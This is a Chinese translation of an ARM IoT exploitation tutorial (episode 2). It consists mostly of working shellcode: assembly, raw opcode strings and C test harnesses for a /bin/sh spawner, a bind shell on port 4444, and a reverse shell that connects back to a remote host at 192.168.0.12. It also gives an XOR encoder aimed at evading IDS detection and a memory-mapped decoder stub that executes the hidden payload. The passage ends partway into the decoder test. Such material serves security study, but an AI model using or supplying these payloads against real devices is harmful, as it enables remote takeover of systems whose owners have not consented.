ARM exploitation for IoT ---Episode 2

原文地址:https://quequero.org/2017/09/arm-exploitation-iot-episode-2/
作者:andrea sindoni
翻译:大部分来源于谷歌的网页翻译,对谷歌翻译表示感谢。也许谷歌翻译的算法对逆向的理解比我深刻还优雅多了,哈哈

介绍

part 1,我们已经看到了一些简单的ARM应用程序的逆向的介绍,我们也看到了如何设置工作环境以及如何编写一个hello world(还有syscall)。

在这一集中,我们将使用相同的工作环境。

ARM shellcoding

我们将看到一些基本的shellcode:

  1. Shell spawning shellcode

  2. Bind TCP shellcode

  3. Reverse shell shellcode

  4. Load and execute a shell from memory

  5. Encode the shellcode

Shell spawning shellcode

在本节中,我们将看到如何使用execve系统调用为/ bin / sh程序的执行生成一个shell 。

遵循的主要步骤非常简单,我们只需要:

  1. 找到execve系统调用号
  2. 填入execve系统调用的参数

1- 找到execve系统调用号

root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep execve
#define __NR_execve (__NR_SYSCALL_BASE+ 11)

那么系统调用号是11

2- 填写execve系统调用的参数

int execve(const char *filename, char *const argv[],char *const envp[]);
r0 = /bin/sh/
r1 = [address of /bin/sh, 0x00]
r2 = 0

可以得到execve函数的各个参数了

execve(“/bin/sh”, [“/bin/sh”, 0], 0)

完整的汇编程序: execve.s

.text
.global _start
_start:
    @ execve("/bin/sh",["/bin/sh", 0], 0)

    mov r0, pc
    add r0, #32
    sub r2, r2, r2
    push {r0, r2}
    mov r1, sp
    mov r7, #11
    swi #0
_exit:
    mov r0, #0
    mov r7, #1
    swi #0 @ exit
shell: .asciz "/bin/sh"

汇编、链接:

root@raspberrypi:/home/pi/arm/episode2# as -o execve.o execve.s
root@raspberrypi:/home/pi/arm/episode2# ld -o execve execve.o
root@raspberrypi:/home/pi/arm/episode2# ./execve
#pwd
/home/pi/arm/episode2

提取opcode

for i in $(objdump -d execve | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'
\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00

运行测试(文件: test_execve.c)

#include <stdio.h>
char *code= "\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00";
int main(void) {
    (*(void(*)()) code)();
    return 0;
}

编译并执行

root@raspberrypi:/home/pi/arm/episode2# gcc -o test_execve test_execve.c
root@raspberrypi:/home/pi/arm/episode2# ./test_execve
#pwd
/home/pi/arm/episode2

Thumb指令集的影响

Thumb由32位ARM指令的一个子集组成一个16位指令集。Thumb只能用于内存受限的环境,因为它在16位数据总线的处理器上比普通ARM代码具有更高的性能,但是在具有32位数据总线的处理器上性能较低。

有不同的方法进入和退出Thumb状态,在下面的例子中,我们将看到一个最常用的方法,它包括打开程序计数器的最低有效位并调用BX(分支和交换)指令。

Thumb 版的execve shellcode

这是Thumb模式下新的execve shellcode的源代码 (文件: execveT.s)

.text
.global _start
_start:
    @ execve("/bin/sh",["/bin/sh", 0], 0)
    .code 32
    add r6, pc, #1  @ turn on the least-significant bit of the program counter 
    bx r6           @ Branch and Exchange
    .code 16
    mov r0, pc
    add r0, #16
    sub r2, r2, r2
    push {r0, r2}
    mov r1, sp
    mov r7, #11
    swi #0
_exit:
    mov r0, #0
    mov r7, #1
    swi #0          @ exit(0)
.asciz "/bin/sh"

汇编、链接和执行程序

root@raspberrypi:/home/pi/arm/episode2# as -o execveT.o execveT.s
root@raspberrypi:/home/pi/arm/episode2# ld -o execveT execveT.o
root@raspberrypi:/home/pi/arm/episode2# ./execveT
#pwd
/home/pi/arm/episode2

提取opcodes

for i in $(objdump -d execveT | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'
\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x78\x46\x10\x30\x92\x1a\x05\xb4\x69\x46\x0b\x27\x00\xdf\x00\x20\x01\x27\x00\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00

正如预期的那样,shellcode的大小比以前的ARM shellcode小,我们来测试一下 (文件: test_execveT.c)

#include <stdio.h>
char *code= "\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x78\x46\x10\x30\x92\x1a\x05\xb4\x69\x46\x0b\x27\x00\xdf\x00\x20\x01\x27\x00\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00";
int main(void) {
    (*(void(*)()) code)();
    return 0;
}

编译并执行程序

root@raspberrypi:/home/pi/arm/episode2# gcc -o test_execveT test_execveT.c
root@raspberrypi:/home/pi/arm/episode2# ./test_execveT
#pwd
/home/pi/arm/episode2

Bind TCP shellcode

在本节中,我们将看到一个TCP端口绑定shellcode,这里的目的是将shell绑定到侦听传入连接的网络端口。

在这种情况下要做的步骤是:

  1. 创建一个套接字(TCP)
  2. 将创建的套接字绑定到地址/端口
  3. 使用系统调用侦听传入的连接
  4. 使用系统调用接受
  5. 使用dup2 syscall重定向stdin,stdout和stderr
  6. 使用execve系统调用

1- 创建一个套接字(TCP)

获取socket系统调用的系统调用号

root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket

#define __NR_socketcall (__NR_SYSCALL_BASE+102)

#define __NR_socket (__NR_SYSCALL_BASE+281)

#define __NR_socketpair (__NR_SYSCALL_BASE+288)

#undef __NR_socketcall

正如你可以从上面的输出中看到,这是不可能利用的socketcall系统调用,但我们可以直接使用socket系统调用 :)。我们来看看如何使用各自的参数调用socket系统调用

@ sockfd = socket(int socket_family, int socket_type, int protocol);

mov r0, #2    @ PF_INET = 2

mov r1, #1    @ SOCK_STREAM = 1

mov r2, #0    @ IPPROTO_IP = 0

ldr r7, =#281 @ socket syscall

swi 0

@ r0 contains the fd returned by the syscall

mov r6, r0    @ save the file descriptor into r6

2- 将创建的socket绑定到地址/端口

我们必须将文件描述符(保存到r6)绑定到一个地址/端口,为了做到这一点,我们必须使用bind系统调用

root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep bind

#define __NR_bind (__NR_SYSCALL_BASE+282)

#define __NR_mbind (__NR_SYSCALL_BASE+319)

我们有系统调用号,现在让我们来看一下bind系统调用的参数

@ int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

这是第二个参数的结构的定义

struct sockaddr_in {

    __kernel_sa_family_t sin_family; /* Address family */

    __be16 sin_port; /* Port number */

struct in_addr sin_addr; /* Internet address */

};

在我们的例子中,我们有

sin_addr=0
sin_port=4444
sin_family=AF_INET (0x2)

我们拥有编写代码所需的一切

mov r1, #0x5C           @ r1=0x5c
mov r5, #0x11           @ r5=0x11
mov r1, r1, lsl #24     @ r1=0x5c000000
add r1, r1, r5, lsl #16 @ r1=0x5c110000 - port number=4444(0x115C)
add r1, #2              @ r1=0x5c110002 - sin_family+sin_port
sub r2, r2, r2          @ sin_addr
push {r1, r2}           @ push into the stack r1 and r2
mov r1, sp              @ save pointer to sockaddr_in struct
mov r2, #0x10           @ addrlen
mov r0, r6              @ mov sockfd into r0
ldr r7, =#282           @ bind syscall number
swi 0

3- 使用listen系统调用监听传入的连接

看一下listen系统调用的号

root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep listen
#define __NR_listen (__NR_SYSCALL_BASE+284)

让我们看一下listen系统调用的参数并填充它们

@ int listen(int sockfd, int backlog);
mov r0, r6    @ mov sockfd into r0
mov r1, #1    @ backlog=1
ldr r7, =#284 @ listen syscall
swi 0

4- 使用accept接受连接请求

看看accept系统调用的号

root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep accept
#define __NR_accept (__NR_SYSCALL_BASE+285)
#define __NR_accept4 (__NR_SYSCALL_BASE+366)

让我们看一下accept系统调用的参数并填充它们m

@ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
mov r0, r6     @ mov sockfd into r0
sub r1, r1, r1 @ addr=0
sub r2, r2, r2 @ addrlen=0
ldr r7, =#285
swi 0

5- 使用dup2 syscall重定向stdin,stdout和stderr

看看dup2系统调用的号

root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep dup2
#define __NR_dup2 (__NR_SYSCALL_BASE+ 63)

让我们看看dup2系统调用的参数并填充它们

@ Redirect stdin, stdout and stderr via dup2
mov r1, #2       @ counter stdin(0), stdout(1) and stderr(2)
loop:
    mov r7, #63    @ dup2 syscall
    swi 0
    sub r1, r1, #1 @ decrement counter
    cmp r1, #-1    @ compare r1 with -1
    bne loop       @ if the result is not equal jmp to loop

6- 使用execve系统调用

我们使用“Shell spawning shellcode”小节中的代码

@ int execve(const char *filename, char *const argv[],char *const envp[]);
mov r0, pc
add r0, #32
sub r2, r2, r2
push {r0, r2}
mov r1, sp
mov r7, #11
swi 0
_exit:
    mov r0, #0
    mov r7, #1
    swi 0 @ exit(0)
.asciz "/bin/sh"

这是完整shellcode (文件: bind.s)

@.syntax unified
.global _start
_start:
    @ sockfd = socket(int socket_family, int socket_type, int protocol);
    mov r0, #2    @ PF_INET = 2
    mov r1, #1    @ SOCK_STREAM = 1
    mov r2, #0    @ IPPROTO_IP = 0
    ldr r7, =#281 @ socketcall
    swi 0

    @ r0 contains the fd returned by the syscall
    mov r6, r0 @ file descriptor

    @ bind the file descriptor to an address/port
    @ int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

    @struct sockaddr_in {
        @ __kernel_sa_family_t sin_family; /* Address family */
        @ __be16 sin_port; /* Port number */
        @ struct in_addr sin_addr; /* Internet address */
    @};

    @sin_addr=0
    @sin_port=4444
    @sin_family=AF_INET

    mov r1, #0x5C           @ r1=0x5c
    mov r5, #0x11           @ r5=0x11
    mov r1, r1, lsl #24     @ r1=0x5c000000
    add r1, r1, r5, lsl #16 @ r1=0x5c110000 - port number=4444(0x115C)
    add r1, #2              @ r1=0x5c110002 - sin_family+sin_port
    sub r2, r2, r2          @ sin_addr
    push {r1, r2}           @ push into the stack r1 and r2
    mov r1, sp              @ save pointer to sockaddr_in struct
    mov r2, #0x10           @ addrlen
    mov r0, r6              @ mov sockfd into r0
    ldr r7, =#282           @ bind syscall 
    swi 0

    @ listen for incoming connections via SYS_LISTEN
    @ int listen(int sockfd, int backlog);

    mov r0, r6    @ mov sockfd into r0
    mov r1, #1    @ backlog=1
    ldr r7, =#284 @ listen syscall
    swi 0

    @ Accept connections
    @ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)

    mov r0, r6     @ mov sockfd into r0
    sub r1, r1, r1 @ addr=0
    sub r2, r2, r2 @ addrlen=0
    ldr r7, =#285  @ accept syscall
    swi 0

    @ Redirect stdin, stdout and stderr via dup2

    mov r1, #2       @ counter stdin(0), stdout(1) and stderr(2)
    loop:
        mov r7, #63    @ dup2 syscall
        swi 0
        sub r1, r1, #1 @ decrement counter
        cmp r1, #-1    @ compare r1 with -1
        bne loop       @ if the result is not equal jmp to loop

    @ int execve(const char *filename, char *const argv[],char *const envp[]);
    mov r0, pc
    add r0, #32
    sub r2, r2, r2
    push {r0, r2}
    mov r1, sp
    mov r7, #11
    swi 0

_exit:
    mov r0, #0
    mov r7, #1
    swi 0  @ exit(0)
.asciz "/bin/sh"

汇编、链接

root@raspberrypi:/home/pi/arm/episode2# as -o bind.o bind.s
root@raspberrypi:/home/pi/arm/episode2# ld -o bind bind.o

测试

root@raspberrypi:/home/pi/arm/episode2# ./bind
root@raspberrypi:/home/pi/arm/episode2# netstat -anpt | grep bind

tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 15008/bind

提取opcode

for i in $(objdump -d bind | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'

\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\xa0\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x02\x20\x42\xe0\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x70\x70\x9f\xe5\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\xa0\xe3\x47\x7f\xa0\xe3\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\x41\xe0\x02\x20\x42\xe0\x50\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xfa\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\x1a\x01\x00\x00\x1d\x01\x00\x00

测试 (文件: test_bind.c)

#include <stdio.h>

char *code="\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\xa0\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x02\x20\x42\xe0\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x70\x70\x9f\xe5\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\xa0\xe3\x47\x7f\xa0\xe3\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\x41\xe0\x02\x20\x42\xe0\x50\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xfa\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\x1a\x01\x00\x00\x1d\x01\x00\x00";

int main(void) {
    (*(void(*)()) code)();
    return 0;
}

编译

root@raspberrypi:/home/pi/arm/episode2# gcc -o test_bind test_bind.c

测试

Reverse shell shellcode

在本节中,我们将看到一个TCP反向shell shellcode。目的是打开一个反向连接到配置的IP和端口并执行一个shell的shell。

接下来的步骤是:

  1. 创建一个套接字
  2. 连接到IP /端口
  3. 通过dup2重定向stdin,stdout和stderr
  4. 执行一个/ bin / sh

1- 创建一个TCP套接字

在前面的章节中我们已经看到套接字系统调用号是281

继续填充参数

@ sockfd = socket(int socket_family, int socket_type, int protocol);

mov r0, #2    @ PF_INET = 2
mov r1, #1    @ SOCK_STREAM = 1
mov r2, #0    @ IPPROTO_IP = 0
ldr r7, =#281 @ socketcall
swi 0

@ r0 contains the fd returned by the syscall

mov r6, r0 @ file descriptor

2- 连接到IP /端口

看看connect系统调用号

root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep connect

#define __NR_connect (__NR_SYSCALL_BASE+283)

我们来看一下connect系统调用的参数并填充它们

@ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

struct sockaddr_in {

    __kernel_sa_family_t sin_family; /* Address family */

    __be16 sin_port; /* Port number */

    struct in_addr sin_addr; /* Internet address */

};

sin_addr=192.168.0.12

sin_port=4444

sin_family=AF_INET

我们拥有编写代码所需的一切

mov r1, #0x5C           @ r1=0x5c

mov r5, #0x11           @ r5=0x11

mov r1, r1, lsl #24     @ r1=0x5c000000

add r1, r1, r5, lsl #16 @ r1=0x5c110000 - port number=4444(0x115C)

add r1, #2              @ r1=0x5c110002 - sin_family+sin_port

ldr r2, =#0x0c00a8c0    @ sin_addr=192.168.0.12 each octet is represented by one byte

push {r1, r2}           @ push into the stack r1 and r2

mov r1, sp              @ save pointer to sockaddr_in struct

mov r2, #0x10           @ addrlen

mov r0, r6              @ mov sockfd into r0

ldr r7, =#283           @ connect syscall

swi 0

3- 通过dup2重定向stdin,stdout和stderr

我们已经看到dup2系统调用号码是63

让我们看看dup2系统调用的参数并填充它们

@ Redirect stdin, stdout and stderr via dup2

mov r1, #2       @ counter stdin(0), stdout(1) and stderr(2)

loop:

    mov r0, r6     @ mov sockfd into r0

    mov r7, #63    @ dup2 syscall

    swi 0

    sub r1, r1, #1 @ decrement counter

    cmp r1, #-1    @ compare r1 with -1

    bne loop       @ if the result is not equal jmp to loop

4- 执行一个 /bin/sh

我们使用“Shell spawning shellcode”小节中的代码

@ int execve(const char *filename, char *const argv[],char *const envp[]);

mov r0, pc

add r0, #32

sub r2, r2, r2

push {r0, r2}

mov r1, sp

mov r7, #11

swi 0

_exit:

    mov r0, #0

    mov r7, #1

    swi 0 @ exit(0)

shell: .asciz "/bin/sh"

编译和链接 reverse_shell.s

root@raspberrypi:/home/pi/arm/chapter3# as -o reverse_shell.o reverse_shell.s

root@raspberrypi:/home/pi/arm/chapter3# ld -o reverse_shell reverse_shell.o

提取opcode

for i in $(objdump -d reverse_shell | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'

\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\x80\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x64\x20\x9f\xe5\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x54\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xf9\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\xc0\xa8\x00\x0c\x1b\x01\x00\x00

测试

文件 test_reverse.c

#include <stdio.h>
char *code= "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\x80\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x64\x20\x9f\xe5\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x54\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xf9\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\xc0\xa8\x00\x0c\x1b\x01\x00\x00";

int main(void) {
    (*(void(*)()) code)();
    return 0;
}

root@raspberrypi:/home/pi/arm/episode2# gcc -o test_reverse test_reverse.c

受害者机器

远程 (192.168.0.12)

现在我们从远程机器上进行控制

Load and execute a shell from memory

在本章中,我们将看到如何创建一个从内存中加载和执行execve shellcode的shellcode。

我们先从execve shellcode(file:execve)的opcodode开始,

提取opcode

for i in $(objdump -d execve | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'
\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00

创建一个简单的编码器

对shellcode进行编码通常由于以下原因:

  1. 避免检测IDS和/或网络传感器
  2. 避免不好的字符

execve shellcode包含字符串/ bin / sh,这个字符串可以通过基于网络的传感器很容易地检测到,我们将看到一个编码所有execve的shellcode的方法。

为了构建编码器,我们将使用两个异或键,一个键用于对位置6和12中的字节进行编码,另一个用于其余的代码。

这是一个简单的C编码器的源代码

文件: encoder.c

#include <stdio.h>

int main()

{

    //execve shellcode

    unsigned char shellcode[] = "\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00";

    int len = 48;

    char out[len];

    int i;

    for(i=0; i<len; i++){

        if(i==6 || i==12){

            out[i] = shellcode[i] ^ 0x12;

            printf("0x%x,", out[i]);

            out[i]++;

        }else{

            out[i] = shellcode[i] ^ 0x47;

            if(i==47){

                printf("0x%x\n", out[i]);

        }else{

            printf("0x%x,", out[i]);

        }

        out[i]++;

        }

    }

    return 0;

}

编译并执行编码器程序

root@raspberrypi:/home/pi/arm/episode2# gcc -o encoder encoder.c 

root@raspberrypi:/home/pi/arm/episode2# ./encoder 
0x48,0x47,0xe7,0xa6,0x67,0x47,0x92,0xa5,0x45,0x67,0x5,0xa7,0x17,0x47,0x6a,0xae,0x4a,0x57,0xe7,0xa6,0x4c,0x37,0xe7,0xa4,0x47,0x47,0x47,0xa8,0x47,0x47,0xe7,0xa4,0x46,0x37,0xe7,0xa4,0x47,0x47,0x47,0xa8,0x68,0x25,0x2e,0x29,0x68,0x34,0x2f,0x47 

我们现在可以编写映射新内存区域的shellcode,将execve shellcode解码到新分配的区域,并从内存启动execve shellcode,执行步骤如下:

  1. 创建一个可写和可执行的内存区域
  2. 将shellcode的解码算法和解码的字节写入到新分配的区域
  3. 跳到新的分配区域执行shellcode

要映射新的内存区域,我们使用mmap2系统调用

root@raspberrypi:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep mmap

#define __NR_mmap (__NR_SYSCALL_BASE+ 90)

#define __NR_mmap2 (__NR_SYSCALL_BASE+192)

#undef __NR_mmap

我们开始编写代码

@ mapping new area of memory in the heap

mov r4, #0xffffffff  @ file descriptor

ldr r0, =0x00030000  @ address

ldr r1, =0x1000      @ size totale della mapping table

mov r2, #7           @ prot

mov r3, #0x32        @ flags

mov r5, #0           @ offset

mov r7, #192         @ syscall number

swi #0               @ mmap2(0x30000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x30000

2- 将shellcode的解码算法和解码的字节写入到新分配的区域

mov r8, #48         @ size of the shellcode

mov r1, pc          @ move into r1 the pc

add r1, #76         @ address of the shellcode

ldr r5, =#0x12      @ xor key1

ldr r6, =#0x47      @ xor key2

mov r9, r0          @ save return address of the mnmap

mov r4, #0          @ index for the loop

start:

    ldrb r2, [r1, r4] @ store into r2 the byte at the location (r1 + r4)

    cmp r4, #6        @ check the number of the index (r4)

    bne xor2          @ if r4 is not equal to 6 jmp to xor2

xor1:

    eor r2, r2, r5    @ decoder alghorithm with xor key1

    strb r2, [r9, r4] @ save the decoded byte into the allocated memory

    add r4, #1        @ increment the index by 1

    b start           @ jump to start

xor2:

    cmp r4, #12       @ check the number of the index (r4)

    beq xor1          @ if r4 is equal to 12 jmp to xor1

    eor r2, r2, r6    @ decoder alghorithm with xor key2

    strb r2, [r9, r4] @ save the decoded byte into the allocated memory

    add r4, #1        @ increment the index by 1

    cmp r4, r8        @ check the index with the size of the shellcode

    bne start         @ if index!=sizeOfShellcode jump to start

3- 跳到新的分配区域执行shellcode

end:
    blx r9 @ jmp to the allocated area

所有的源代码 (文件: decoder.s)

.global _start

_start:

    @ mapping new area of memory in the heap

    mov r4, #0xffffffff @ file descriptor

    ldr r0, =0x00030000 @ address

    ldr r1, =0x1000     @ size totale della mapping table

    mov r2, #7          @ prot

    mov r3, #0x32       @ flags

    mov r5, #0          @ offset

    mov r7, #192        @ syscall number

    swi #0              @ mmap2(0x30000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x30000

    mov r8, #48         @ size of the shellcode

    mov r1, pc          @ move into r1 the pc

    add r1, #76         @ address of the shellcode

    ldr r5, =#0x12      @ xor key1

    ldr r6, =#0x47      @ xor key2

    mov r9, r0          @ save return address of the mnmap

    mov r4, #0          @ index for the loop

start:

    ldrb r2, [r1, r4]   @ store into r2 the byte at the location (r1 + r4)

    cmp r4, #6          @ check the number of the index (r4)

    bne xor2            @ if r4 is not equal to 6 jmp to xor2

xor1:

    eor r2, r2, r5      @ decoder alghorithm with xor key1

    strb r2, [r9, r4]   @ save the decoded byte into the allocated memory

    add r4, #1          @ increment the index by 1

    b start             @ jump to start

xor2:

    cmp r4, #12         @ check the number of the index (r4)

    beq xor1            @ if r4 is equal to 12 jmp to xor1

    eor r2, r2, r6      @ decoder alghorithm with xor key2

    strb r2, [r9, r4]   @ save the decoded byte into the allocated memory

    add r4, #1          @ increment the index by 1

    cmp r4, r8          @ check the index with the size of the shellcode

    bne start           @ if index!=sizeOfShellcode jump to start

end:

    blx r9              @ jmp to the allocated area

shellcode: .byte 0x48,0x47,0xe7,0xa6,0x67,0x47,0x92,0xa5,0x45,0x67,0x5,0xa7,0x17,0x47,0x6a,0xae,0x4a,0x57,0xe7,0xa6,0x4c,0x37,0xe7,0xa4,0x47,0x47,0x47,0xa8,0x47,0x47,0xe7,0xa4,0x46,0x37,0xe7,0xa4,0x47,0x47,0x47,0xa8,0x68,0x25,0x2e,0x29,0x68,0x34,0x2f,0x47

编译和链接

root@raspberrypi:/home/pi/arm/episode2# as -o decoder.o decoder.s
root@raspberrypi:/home/pi/arm/episode2# ld -o decoder decoder.o

测试解码器的shellcode

我们从字节提取开始:

root@raspberrypi:/home/pi/arm/episode2# for i in $(objdump -d decoder | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'

\x00\x40\xe0\xe3\x03\x08\xa0\xe3\x01\x1a\xa0\xe3\x07\x20\xa0\xe3\x32\x30\xa0\xe3\x00\x50\xa0\xe3\xc0\x70\xa0\xe3\x00\x00\x00\xef\x30\x80\xa0\xe3\x0f\x10\xa0\xe1\x4c\x10\x81\xe2\x12\x50\xa0\xe3\x47\x60\xa0\xe3\x00\x90\xa0\xe1\x00\x40\xa0\xe3\x04\x20\xd1\xe7\x06\x00\x54\xe3\x03\x00\x00\x1a\x05\x20\x22\xe0\x04\x20\xc9\xe7\x01\x40\x84\xe2\xf8\xff\xff\xea\x0c\x00\x54\xe3\xf9\xff\xff\x0a\x06\x20\x22\xe0\x04\x20\xc9\xe7\x01\x40\x84\xe2\x08\x00\x54\xe1\xf1\xff\xff\x1a\x39\xff\x2f\xe1\x48\x47\xe7\xa6\x67\x47\x92\xa5\x45\x67\x05\xa7\x17\x47\x6a\xae\x4a\x57\xe7\xa6\x4c\x37\xe7\xa4\x47\x47\x47\xa8\x47\x47\xe7\xa4\x46\x37\xe7\xa4\x47\x47\x47\xa8\x68\x25\x2e\x29\x68\x34\x2f\x47

测试解码器的shellcode (test_decoder.c )

#include <stdio.h>

